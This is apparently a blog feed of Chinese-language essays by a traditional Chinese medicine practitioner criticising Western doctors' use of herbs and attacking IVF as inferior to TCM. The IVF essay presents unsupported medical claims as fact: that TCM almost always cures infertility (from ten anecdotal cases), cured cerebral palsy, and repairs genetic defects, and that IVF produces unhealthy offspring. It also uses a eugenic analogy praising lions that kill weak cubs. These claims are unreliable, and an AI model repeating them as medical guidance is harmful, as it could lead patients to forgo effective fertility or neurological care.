西醫醫生使用中藥，猶如使用西藥一樣，他們既不懂得中藥的“四氣”“五味”藥物特性，也不懂得“八綱辨證”等診斷規律，因而不可能依據中醫藥學術理論指導用藥。所以，他們只是把中藥當作西藥臨床施用。譬如，他們有些人將龍膽瀉肝丸用來降低血壓，但他們不知道西醫的降壓藥可以長期服用，而龍膽瀉肝丸長期服用會要命的。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
顯然，中西醫藥品的臨床使用都有著自己的學術規範，不懂得中西藥的使用規範而隨意濫用，必然會導致臨床醫療事故的發生。事實上幾十年[中西醫結合]以來，中藥中毒的醫療事故頻頻發生，甚至連不起眼的魚腥草也由於改成西醫的注射製劑而出現毒副作用。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
可是，人們都只會將目光放在中藥的毒性成分上，卻絲毫沒有考慮到中西醫學術混淆給人類帶來何種傷害。作爲一種獨特的臨床醫學，如若沒有法律的規範，如此輕率地被人隨意施用，這不能不說屬於草菅人命。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
總之，亂用中醫藥療法的問題不僅在中國如此，在美國也是如此；中醫藥療法只能屬於具備中醫學識的中醫業者專用，只有法律規範不具備中醫學識者不能使用中藥，中藥中毒的醫療事故纔有可能基本杜絕。當然，中國的中醫師也不應該享有西藥的處方權，因爲那點半拉子西醫學識，同樣也會導致西藥中毒的醫療事故發生。（待續）</span></p>
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		<title>削足適履的迷思</title>
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		<pubDate>Mon, 24 Aug 2009 03:14:27 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
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		<description><![CDATA[華夏中醫 吳侃陽中醫師 ● 幫助提高試管嬰兒成功率的迷思 人們常常願意看到中醫療效能夠得到西醫的承認，誤以爲只有這樣才能夠顯示出中醫療法的科學價值。近來筆者不斷收到這方面的信息，尤其是對於中醫療法提高試管授精成功率的報道，某些中醫界人士爲此表現出受寵若驚的心態，以爲只有如此才能顯示出中醫療法的科學價值而得到社會的承認。 毛嘉陵先生在《第三只眼看中醫》一書中寫道：“著名老中醫鄧鉄濤教授曾說：‘2004年4月5日，我們的學生梁某某從美國回來看望我，送給我她寫的一本書《Acupuncture &#038; IVF》(中文譯名《針灸與試管嬰兒》)，並説是美國的一本暢銷書，現已發行到歐洲。這個禮物讓我興奮了一夜！試管嬰兒，可説是20世紀西醫學的一個尖端技術成果。不過，這個成果的成功率只有20%。梁某某在美國三藩市，運用針灸與中藥，把試管嬰兒的成功率提高到40%-60%。 “2006年10月底在成都中醫藥大學校慶活動中，醫學係78級校友、現在美國的知名針灸師方某某為該校針灸學院的師生做了關於中醫針灸最新前沿的科研報告《NIH針刺提高試管嬰兒成功率的臨床試驗》。他用生動形象的方式，詳細介紹了美國試管嬰兒的發展歷史，以及針灸在試管嬰兒方面應用的適應症、禁忌症和NIH臨床研究方法等。再度證實了針灸在提高試管嬰兒成功率方面的作用。” 中醫療法提高試管嬰兒的成功率，這在中醫臨床實際上屬於“小兒科”、不值一提。事實上，中醫治療不孕症、不育症根本就不是什麽難事；一般來説，許多不孕症患者、以及求助於試管授精療法而失敗的患者，從中醫療法中幾乎都能得到幫助而成功治愈。 人們不禁要問，爲什麽中醫獨立治愈不孕症的案例並沒有多少人重視，而上述提高西醫試管嬰兒療法成功率卻那麽被人吹捧，並被中國中醫最高學府稱作為“中醫針灸最新前沿”；應該說這是一件很奇怪的事情，的確令人有些不解。 這件事令筆者想到幾十年前的一件事情。當時筆者採用中醫療法治療小兒腦性癱瘓症，臨床療效十分明顯。作爲臨床醫生來説，這應該屬於很尋常的事情，因爲實施自己醫學職能應該屬於每個醫生的責任。 令人感興趣的是，當時同濟醫科大學一例腦癱患者通過開顱手術治療之後，由不會哭而變爲會哭了。說起來好笑，當時當地報紙曾經將這件事大肆宣傳為中國醫療界的大事，吹噓得神乎其神，使人感覺到似乎只有西醫的手術治療腦癱症纔是唯一的選擇。 事實上，筆者通過中醫療法治療這類疾病，患兒之中不會哭泣的會哭了，不會説話的會説了，不會走路的可以走了；其中兩例患兒基本痊愈，並已經就讀於正常小學。上述顯示，筆者的上述臨床療效可以説是遠遠地高於西醫的手術治療，可是在某些人的眼裏，中醫療法治好小兒腦癱症並不值得報道，因爲“治好不是癌，是癌治不好”，他們或許認爲將孩子的痊愈歸納為自愈比較省事。 面對這種離奇的社會現象，筆者可謂是見怪不怪，絲毫不以爲意；因爲筆者懂得，由於學術認知的差異，中醫的臨床療效不可能輕易得到西醫與社會的承認。事實上，西醫承不承認又有什麽關係？筆者根本就不存在乞求西醫認可的任何奢望。然而上述摘錄顯示，作爲中醫業者、甚至中醫學府，竟然將能夠得到西醫的認可如此地重視，甚至對於能夠參入試管受精療法而手舞足蹈，這種心態的確值得酙酌。 我們知道，西醫屬於局部對抗醫學，這種強行的局部“暴力”對抗常常都會導致患者身體的其他器官組織出現意料之外的某些傷害。依據中醫理論，導致不孕症的病機很多，有寒有熱，有虛有實。對於某些簡單的實質性問題，譬如輸卵管不通的問題，只需要將輸卵管通透就行了。但對於男性精蟲數量不足、精蟲活躍度不夠，女性排卵異常，荷爾蒙分泌異常等問題，只是簡單地補充荷爾蒙，或者採用人工手段強行將並不健康的蟲卵結合而成爲胚胎，顯然，這種療法對於不孕症的真正療效很值得質疑。 首先我們應該分析，試管授精療法先進在哪裏？的確，試管授精療法需要許多高精尖的科技手段，但問題是其療法對於孕婦健康的危害、胚胎的健康狀態等等問題都未能得到滿意的保證。筆者以爲，試管嬰兒療法的出籠雖然能夠滿足部分不孕症患者的臨床需求；但是，如若將並不健康的精蟲與卵子人爲結合起來、使之成爲一個並不健康的生命體；就健康生命与人類的繁衍而言，這種“尖端技術”所造就出來的，很難成爲相對強壯的生命體。所以說，即使類似療法動用再多的高精尖科技手段，這種療法仍然不應該稱之爲“先進”。 說句笑話，現代科技的這種指導思維，根本就不懂得生物優生優育的原理，其認知或許還不如一頭雄獅。當某個獅群出現強壯的新獅王之時，有時甚至會獵殺那些被打敗的、相對老弱病殘的前任獅王所留下的小獅；或許它們這樣做僅僅只是為了促使母獅早日發情，但其結局卻是在維繫種群的強壯。 筆者並非反對非強壯者具有受孕的權力，筆者所提倡、所使用的中醫療法就是為著使得這些不孕症患者身體強壯、並恢復自然產生健康蟲卵的生理機能、直至自然受孕。 對於試管受精療法，許多西醫有識之士都已經開始懷疑其給人類所造成的危害。前不久有消息指出，丹麥奧胡斯大學醫院和美國加州大學的科研人員報告說，“試管受精技術並不能克服先天性不育症患者的基因缺陷，而且可能導致這類患者的下一代不能生育。”這是值得扼腕的事情，這種明智的説法對於那些盲目崇拜現代科技思維的中醫業者應該有著醍醐灌頂的作用。 而對於上述以提高試管嬰兒成功率為己任的某些中醫業者來説，這件事應該是一個警醒；那就是應該認真思考中醫臨床的目的，而不應該沉溺於為了得到西醫的承認而使得自己淪爲人家的附庸。 我們知道，西醫所遵從的是還原論思維，臨床多採用局部對抗療法。患者不具備懷孕的機體，就借助現代科技手段將精蟲與卵子強行進行人工結合而達到受孕的目的；至於胎兒的品質如何那就不屬於這次局部對抗療法的研究範疇。 而中醫所遵從的是整體論思維，臨床治病的目的是通過促使機體恢復健康狀態繼而戰勝疾病。就不孕症而言，由於患者機體存在著需要進行整體調節的問題，因而只有在促使患者具備健康的體魄之後，才能夠達到懷孕的目的。 這是一舉多得的療法，既能夠促使患者恢復生育能力，同時還能夠使得患者自然懷孕；而更重要的則是由於夫妻雙方的身體得到調適，其蟲卵的質量有著相當程度的提高，故而有益於下一代的健康。事實上，許多不孕症患者經過筆者調治之後能夠自行懷上第二、三胎健康寶寶的案例都能夠證實這個問題。 而且，中醫療法治療不孕症的臨床療效十分顯著，筆者來美國之後所調治的10例不孕症案例中，半年之内懷孕者有6例，一年之内懷孕者1例，總有效率為70%，遠遠超過試管受精療法20%-30%的成功比例。 由於畏懼人們對於中醫業者的歧視，筆者一般只是將臨床治療期限僅僅規範在半年之内，超過半年者則被視爲無效而停止治療。 在有效患者之中，有一例治療一年時間而懷孕的特殊患者。該患者體質十分虛弱但自己拒不承認，後經試管受精療法成功懷7周後流產。由於患者流產之後臉色蒼白而且帶有晦暗，有氣無力，甚至説話多了都會感到疲勞，這才相信筆者的“虛弱”之說、繼而願意接受中醫藥的調治。 由於該患者的先生與筆者頗爲投緣，十分相信筆者的醫德與醫術，因而筆者在治療過程中不必存有人言的顧慮。通過將近一年時間的調治，患者不知不覺地自然懷上胎兒，並順利地產下一個健康的女嬰。這個案例同時也可以説明，筆者關於無效的治療期限雖然有點無奈，但並不足以證實另外3例無效患者就一定無效。 值得注意的信息是，經筆者調治的不孕症患者中，許多人又自然懷上第二、三胎；這個事實可以説明通過中醫療法的調治，患者的不孕症已經痊愈。如若借助於西醫目前的學術理論，上述中醫療法已經改變了不孕症患者“先天性不育症患者的基因缺陷”。 而那種令某些人陶醉的“助紂爲虐”療效頂多只是停留在增強試管嬰兒的成功率上，而對於不孕症患者的體質並沒有多少實質性的改善，更談不上“克服先天性不育症患者的基因缺陷”，以及“可能導致這類患者的下一代不能生育”等問題。顯然，這種“幫助”有別於中醫關於[整體調節]等臨床治病的學術思維，更有害於中醫事業的獨立發展。 所以說，試管受精療法由於有可能導致更多的不孕，並不值得大力推廣；而中醫藥療法由於具有改善患者體質的功能，能夠直接有效地治療不孕症，根本就無需輔助試管受精療法；當然，對於參入提高試管受精療法成功率的做法，也根本就不值得中醫業界如此大肆吹捧。 說句實話，上述中醫專業人士追求與吹捧中醫療法提高試管受精成功率的做法令人不敢恭維，筆者無論如何都沒有想到中醫事業竟然“發展”到如此悲哀的地步，以致於在淪爲人家的附庸之後還在那裏自我陶醉。筆者並不反對中西醫療法的臨床並用，但中醫療法由此而失去自我，丟棄自己的學術理念與尊嚴，直至喪失自己的社會存在價值，這畢竟是件很悲哀的事情。 這種做法可以説是自矮身價，這些中醫業者“願將妾身付郎君”的做法的確不值得宣揚；人們從這裡也完全可以體會到某些中醫業者專業學術思維的迷失。當然，如若這種認知出自於個別中醫業者，則可以說情有可原，但在堂堂的中醫學府進行如此宣揚，應該説是一個很大的諷刺。 這個事例不但證明該學府所培養的學子並不一定具備堅定的傳統中醫學識，甚至該學府的某些領導竟然也以“淪爲西醫附庸”而感到自豪。筆者實在不明白這些中醫業者爲什麽會這樣，他們為了得到誰的認可竟然可以自甘淪爲人家的附庸。 我們應該懂得，中醫有中醫的學術規律，西醫有西醫的學術規律，這是誰也無法扭轉的客觀事實，其實這些學術規律都應該得到應有的尊重。由於中西醫關於生病的概念迥然各異，中醫的臨床療效當然也就無須讓西醫賦予評論。如若某位西醫敢於斗膽認可那些並沒有改變檢驗數據的中醫療效，那麽這位醫生肯定就不是一位好的西醫醫生，因爲他沒有遵循西醫的臨床診治學術規律。 總之筆者以爲，作爲中醫業者，應該把主要精力放在如何將中醫學術理論最有效地運用於臨床診治之中，而不是為著乞求他人的承認，更不可稍具上述自卑心態。筆者很欣賞鄧鉄濤老先生的預測，他說：“21世紀不育不孕創紀錄的是中醫藥，而不是技術高超、費用昂貴的‘試管嬰兒’。（請參看《第三只眼看中醫》）” 顯然，作爲一門獨立的醫學體系，我們應該選擇“寧為雞口，不為牛後”，如其使用中醫療法為西醫試管受精療法護駕而成爲牛的“大”排便口，遠不如“自立為王”而成爲進食的“小”雞口。臨床經驗已經證實，中醫治療不孕症，不但其成功率遠遠高於試管受精療法，而且還能夠提高人類的生育能力，更不可能像試管授精療法那樣將不孕症的基因貽害到下一代。 筆者反對上述借助西醫臨床成功率來顯示中醫療效的做法，更反對那種毫無骨氣的“附庸”心態；某些中醫業界人士甚至將這些東西當作“中醫針灸最新前沿”的説法，的確是對於中醫事業的莫大侮辱。作爲中醫業者、中醫學府，我們應該大力推廣自己如此有效的中醫療法纔是，只有這樣才能算作是弘揚中醫。 其實臨床中醫業者只要能夠準確地掌握[辨證論治]規律，真正做到[藥證相符]，就一定能夠獲得較高的臨床療效。事實上，許多無效的臨床案例完全出在臨床醫者沒有遵循中醫的學術規律而使用中醫藥療法；他們要嘛只是為了調節患者體内激素的分泌，要嘛只是為了讓患者懷一次孕；顯然，這種臨床思維僅僅只能附屬於西醫的學術體系，他們所使用的中醫藥療法也只能稱作是“仿中醫療法”而已。（待續）]]></description>
			<content:encoded><![CDATA[<p><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><strong>華夏中醫 吳侃陽中醫師</strong><br />
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●	<strong>幫助提高試管嬰兒成功率的迷思</strong><br />
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人們常常願意看到中醫療效能夠得到西醫的承認，誤以爲只有這樣才能夠顯示出中醫療法的科學價值。近來筆者不斷收到這方面的信息，尤其是對於中醫療法提高試管授精成功率的報道，某些中醫界人士爲此表現出受寵若驚的心態，以爲只有如此才能顯示出中醫療法的科學價值而得到社會的承認。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
毛嘉陵先生在《第三只眼看中醫》一書中寫道：“著名老中醫鄧鉄濤教授曾說：‘2004年4月5日，我們的學生梁某某從美國回來看望我，送給我她寫的一本書《Acupuncture &#038; IVF》(中文譯名《針灸與試管嬰兒》)，並説是美國的一本暢銷書，現已發行到歐洲。這個禮物讓我興奮了一夜！試管嬰兒，可説是20世紀西醫學的一個尖端技術成果。不過，這個成果的成功率只有20%。梁某某在美國三藩市，運用針灸與中藥，把試管嬰兒的成功率提高到40%-60%。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
“2006年10月底在成都中醫藥大學校慶活動中，醫學係78級校友、現在美國的知名針灸師方某某為該校針灸學院的師生做了關於中醫針灸最新前沿的科研報告《NIH針刺提高試管嬰兒成功率的臨床試驗》。他用生動形象的方式，詳細介紹了美國試管嬰兒的發展歷史，以及針灸在試管嬰兒方面應用的適應症、禁忌症和NIH臨床研究方法等。再度證實了針灸在提高試管嬰兒成功率方面的作用。”<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
中醫療法提高試管嬰兒的成功率，這在中醫臨床實際上屬於“小兒科”、不值一提。事實上，中醫治療不孕症、不育症根本就不是什麽難事；一般來説，許多不孕症患者、以及求助於試管授精療法而失敗的患者，從中醫療法中幾乎都能得到幫助而成功治愈。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
人們不禁要問，爲什麽中醫獨立治愈不孕症的案例並沒有多少人重視，而上述提高西醫試管嬰兒療法成功率卻那麽被人吹捧，並被中國中醫最高學府稱作為“中醫針灸最新前沿”；應該說這是一件很奇怪的事情，的確令人有些不解。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
這件事令筆者想到幾十年前的一件事情。當時筆者採用中醫療法治療小兒腦性癱瘓症，臨床療效十分明顯。作爲臨床醫生來説，這應該屬於很尋常的事情，因爲實施自己醫學職能應該屬於每個醫生的責任。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
令人感興趣的是，當時同濟醫科大學一例腦癱患者通過開顱手術治療之後，由不會哭而變爲會哭了。說起來好笑，當時當地報紙曾經將這件事大肆宣傳為中國醫療界的大事，吹噓得神乎其神，使人感覺到似乎只有西醫的手術治療腦癱症纔是唯一的選擇。<br />
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事實上，筆者通過中醫療法治療這類疾病，患兒之中不會哭泣的會哭了，不會説話的會説了，不會走路的可以走了；其中兩例患兒基本痊愈，並已經就讀於正常小學。上述顯示，筆者的上述臨床療效可以説是遠遠地高於西醫的手術治療，可是在某些人的眼裏，中醫療法治好小兒腦癱症並不值得報道，因爲“治好不是癌，是癌治不好”，他們或許認爲將孩子的痊愈歸納為自愈比較省事。<br />
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面對這種離奇的社會現象，筆者可謂是見怪不怪，絲毫不以爲意；因爲筆者懂得，由於學術認知的差異，中醫的臨床療效不可能輕易得到西醫與社會的承認。事實上，西醫承不承認又有什麽關係？筆者根本就不存在乞求西醫認可的任何奢望。然而上述摘錄顯示，作爲中醫業者、甚至中醫學府，竟然將能夠得到西醫的認可如此地重視，甚至對於能夠參入試管受精療法而手舞足蹈，這種心態的確值得酙酌。<br />
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我們知道，西醫屬於局部對抗醫學，這種強行的局部“暴力”對抗常常都會導致患者身體的其他器官組織出現意料之外的某些傷害。依據中醫理論，導致不孕症的病機很多，有寒有熱，有虛有實。對於某些簡單的實質性問題，譬如輸卵管不通的問題，只需要將輸卵管通透就行了。但對於男性精蟲數量不足、精蟲活躍度不夠，女性排卵異常，荷爾蒙分泌異常等問題，只是簡單地補充荷爾蒙，或者採用人工手段強行將並不健康的蟲卵結合而成爲胚胎，顯然，這種療法對於不孕症的真正療效很值得質疑。<span id="more-295"></span><br />
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首先我們應該分析，試管授精療法先進在哪裏？的確，試管授精療法需要許多高精尖的科技手段，但問題是其療法對於孕婦健康的危害、胚胎的健康狀態等等問題都未能得到滿意的保證。筆者以爲，試管嬰兒療法的出籠雖然能夠滿足部分不孕症患者的臨床需求；但是，如若將並不健康的精蟲與卵子人爲結合起來、使之成爲一個並不健康的生命體；就健康生命与人類的繁衍而言，這種“尖端技術”所造就出來的，很難成爲相對強壯的生命體。所以說，即使類似療法動用再多的高精尖科技手段，這種療法仍然不應該稱之爲“先進”。<br />
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說句笑話，現代科技的這種指導思維，根本就不懂得生物優生優育的原理，其認知或許還不如一頭雄獅。當某個獅群出現強壯的新獅王之時，有時甚至會獵殺那些被打敗的、相對老弱病殘的前任獅王所留下的小獅；或許它們這樣做僅僅只是為了促使母獅早日發情，但其結局卻是在維繫種群的強壯。<br />
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筆者並非反對非強壯者具有受孕的權力，筆者所提倡、所使用的中醫療法就是為著使得這些不孕症患者身體強壯、並恢復自然產生健康蟲卵的生理機能、直至自然受孕。<br />
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對於試管受精療法，許多西醫有識之士都已經開始懷疑其給人類所造成的危害。前不久有消息指出，丹麥奧胡斯大學醫院和美國加州大學的科研人員報告說，“試管受精技術並不能克服先天性不育症患者的基因缺陷，而且可能導致這類患者的下一代不能生育。”這是值得扼腕的事情，這種明智的説法對於那些盲目崇拜現代科技思維的中醫業者應該有著醍醐灌頂的作用。<br />
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而對於上述以提高試管嬰兒成功率為己任的某些中醫業者來説，這件事應該是一個警醒；那就是應該認真思考中醫臨床的目的，而不應該沉溺於為了得到西醫的承認而使得自己淪爲人家的附庸。<br />
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我們知道，西醫所遵從的是還原論思維，臨床多採用局部對抗療法。患者不具備懷孕的機體，就借助現代科技手段將精蟲與卵子強行進行人工結合而達到受孕的目的；至於胎兒的品質如何那就不屬於這次局部對抗療法的研究範疇。<br />
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而中醫所遵從的是整體論思維，臨床治病的目的是通過促使機體恢復健康狀態繼而戰勝疾病。就不孕症而言，由於患者機體存在著需要進行整體調節的問題，因而只有在促使患者具備健康的體魄之後，才能夠達到懷孕的目的。<br />
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這是一舉多得的療法，既能夠促使患者恢復生育能力，同時還能夠使得患者自然懷孕；而更重要的則是由於夫妻雙方的身體得到調適，其蟲卵的質量有著相當程度的提高，故而有益於下一代的健康。事實上，許多不孕症患者經過筆者調治之後能夠自行懷上第二、三胎健康寶寶的案例都能夠證實這個問題。<br />
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而且，中醫療法治療不孕症的臨床療效十分顯著，筆者來美國之後所調治的10例不孕症案例中，半年之内懷孕者有6例，一年之内懷孕者1例，總有效率為70%，遠遠超過試管受精療法20%-30%的成功比例。<br />
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由於畏懼人們對於中醫業者的歧視，筆者一般只是將臨床治療期限僅僅規範在半年之内，超過半年者則被視爲無效而停止治療。<br />
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在有效患者之中，有一例治療一年時間而懷孕的特殊患者。該患者體質十分虛弱但自己拒不承認，後經試管受精療法成功懷7周後流產。由於患者流產之後臉色蒼白而且帶有晦暗，有氣無力，甚至説話多了都會感到疲勞，這才相信筆者的“虛弱”之說、繼而願意接受中醫藥的調治。<br />
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由於該患者的先生與筆者頗爲投緣，十分相信筆者的醫德與醫術，因而筆者在治療過程中不必存有人言的顧慮。通過將近一年時間的調治，患者不知不覺地自然懷上胎兒，並順利地產下一個健康的女嬰。這個案例同時也可以説明，筆者關於無效的治療期限雖然有點無奈，但並不足以證實另外3例無效患者就一定無效。<br />
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值得注意的信息是，經筆者調治的不孕症患者中，許多人又自然懷上第二、三胎；這個事實可以説明通過中醫療法的調治，患者的不孕症已經痊愈。如若借助於西醫目前的學術理論，上述中醫療法已經改變了不孕症患者“先天性不育症患者的基因缺陷”。<br />
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而那種令某些人陶醉的“助紂爲虐”療效頂多只是停留在增強試管嬰兒的成功率上，而對於不孕症患者的體質並沒有多少實質性的改善，更談不上“克服先天性不育症患者的基因缺陷”，以及“可能導致這類患者的下一代不能生育”等問題。顯然，這種“幫助”有別於中醫關於[整體調節]等臨床治病的學術思維，更有害於中醫事業的獨立發展。<br />
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所以說，試管受精療法由於有可能導致更多的不孕，並不值得大力推廣；而中醫藥療法由於具有改善患者體質的功能，能夠直接有效地治療不孕症，根本就無需輔助試管受精療法；當然，對於參入提高試管受精療法成功率的做法，也根本就不值得中醫業界如此大肆吹捧。<br />
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說句實話，上述中醫專業人士追求與吹捧中醫療法提高試管受精成功率的做法令人不敢恭維，筆者無論如何都沒有想到中醫事業竟然“發展”到如此悲哀的地步，以致於在淪爲人家的附庸之後還在那裏自我陶醉。筆者並不反對中西醫療法的臨床並用，但中醫療法由此而失去自我，丟棄自己的學術理念與尊嚴，直至喪失自己的社會存在價值，這畢竟是件很悲哀的事情。<br />
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這種做法可以説是自矮身價，這些中醫業者“願將妾身付郎君”的做法的確不值得宣揚；人們從這裡也完全可以體會到某些中醫業者專業學術思維的迷失。當然，如若這種認知出自於個別中醫業者，則可以說情有可原，但在堂堂的中醫學府進行如此宣揚，應該説是一個很大的諷刺。<br />
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這個事例不但證明該學府所培養的學子並不一定具備堅定的傳統中醫學識，甚至該學府的某些領導竟然也以“淪爲西醫附庸”而感到自豪。筆者實在不明白這些中醫業者爲什麽會這樣，他們為了得到誰的認可竟然可以自甘淪爲人家的附庸。<br />
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我們應該懂得，中醫有中醫的學術規律，西醫有西醫的學術規律，這是誰也無法扭轉的客觀事實，其實這些學術規律都應該得到應有的尊重。由於中西醫關於生病的概念迥然各異，中醫的臨床療效當然也就無須讓西醫賦予評論。如若某位西醫敢於斗膽認可那些並沒有改變檢驗數據的中醫療效，那麽這位醫生肯定就不是一位好的西醫醫生，因爲他沒有遵循西醫的臨床診治學術規律。<br />
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總之筆者以爲，作爲中醫業者，應該把主要精力放在如何將中醫學術理論最有效地運用於臨床診治之中，而不是為著乞求他人的承認，更不可稍具上述自卑心態。筆者很欣賞鄧鉄濤老先生的預測，他說：“21世紀不育不孕創紀錄的是中醫藥，而不是技術高超、費用昂貴的‘試管嬰兒’。（請參看《第三只眼看中醫》）”<br />
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顯然，作爲一門獨立的醫學體系，我們應該選擇“寧為雞口，不為牛後”，如其使用中醫療法為西醫試管受精療法護駕而成爲牛的“大”排便口，遠不如“自立為王”而成爲進食的“小”雞口。臨床經驗已經證實，中醫治療不孕症，不但其成功率遠遠高於試管受精療法，而且還能夠提高人類的生育能力，更不可能像試管授精療法那樣將不孕症的基因貽害到下一代。<br />
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筆者反對上述借助西醫臨床成功率來顯示中醫療效的做法，更反對那種毫無骨氣的“附庸”心態；某些中醫業界人士甚至將這些東西當作“中醫針灸最新前沿”的説法，的確是對於中醫事業的莫大侮辱。作爲中醫業者、中醫學府，我們應該大力推廣自己如此有效的中醫療法纔是，只有這樣才能算作是弘揚中醫。<br />
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其實臨床中醫業者只要能夠準確地掌握[辨證論治]規律，真正做到[藥證相符]，就一定能夠獲得較高的臨床療效。事實上，許多無效的臨床案例完全出在臨床醫者沒有遵循中醫的學術規律而使用中醫藥療法；他們要嘛只是為了調節患者體内激素的分泌，要嘛只是為了讓患者懷一次孕；顯然，這種臨床思維僅僅只能附屬於西醫的學術體系，他們所使用的中醫藥療法也只能稱作是“仿中醫療法”而已。（待續）</span></p>
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